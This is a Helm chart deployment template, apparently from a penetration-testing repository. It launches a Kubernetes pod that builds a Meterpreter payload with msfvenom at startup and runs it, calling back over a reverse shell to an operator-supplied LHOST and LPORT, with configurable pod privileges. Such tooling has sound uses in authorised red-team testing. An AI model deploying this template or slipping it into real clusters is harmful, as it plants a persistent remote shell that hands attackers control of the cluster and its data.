Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/kubernetes/meterpreter/templates/deployment.yaml
Views: 11782
apiVersion: apps/v11kind: Deployment2metadata:3name: {{ include "meterpreter.fullname" . }}4labels:5{{- include "meterpreter.labels" . | nindent 4 }}6spec:7replicas: 18selector:9matchLabels:10{{- include "meterpreter.selectorLabels" . | nindent 6 }}11template:12metadata:13labels:14{{- include "meterpreter.selectorLabels" . | nindent 8 }}15spec:16{{- with .Values.imagePullSecrets }}17imagePullSecrets:18{{- toYaml . | nindent 8 }}19{{- end }}20{{- if .Values.privileges.useServiceAccount }}21serviceAccountName: {{ include "meterpreter.fullname" . }}22{{ else }}23automountServiceAccountToken: false24{{ end }}25securityContext:26{{- toYaml .Values.privileges.podSecurityContext | nindent 8 }}27initContainers:28- name: msfvenome29image: "{{ .Values.image.repository}}:{{ .Values.image.tag }}"30imagePullPolicy: {{ .Values.image.pullPolicy }}31command: ["/bin/bash", "-c", "/tmp/meterpreter.sh"]32env:33- name: LHOST34value: "{{ required "Please provide value to 'lhost' - The IP Address the payload will connect to" .Values.lhost }}"35- name: LPORT36value: "{{ required "Please provide value to 'lport' - The Port the payload will connect to" .Values.lport }}"37volumeMounts:38- name: meterpreter39mountPath: /meterpreter40- name: msfvenome41mountPath: /tmp/meterpreter.sh42subPath: meterpreter.sh4344containers:45- name: {{ .Chart.Name }}46image: gcr.io/google_containers/pause-amd64:3.047imagePullPolicy: {{ .Values.image.pullPolicy }}48command: ["/meterpreter/meterpreter"]49tty: true50stdin: true51securityContext:52{{- toYaml .Values.privileges.securityContext | nindent 12 }}5354resources:55{{- toYaml .Values.resources | nindent 12 }}56volumeMounts:57- name: meterpreter58mountPath: /meterpreter5960restartPolicy: Always61volumes:62- name: meterpreter63emptyDir: {}64- name: msfvenome65configMap:66name: {{ include "meterpreter.fullname" . }}67items:68- key: meterpreter.sh69path: meterpreter.sh70defaultMode: 0777717273{{- with .Values.nodeSelector }}74nodeSelector:75{{- toYaml . | nindent 8 }}76{{- end }}77{{- with .Values.affinity }}78affinity:79{{- toYaml . | nindent 8 }}80{{- end }}81{{- with .Values.tolerations }}82tolerations:83{{- toYaml . | nindent 8 }}84{{- end }}858687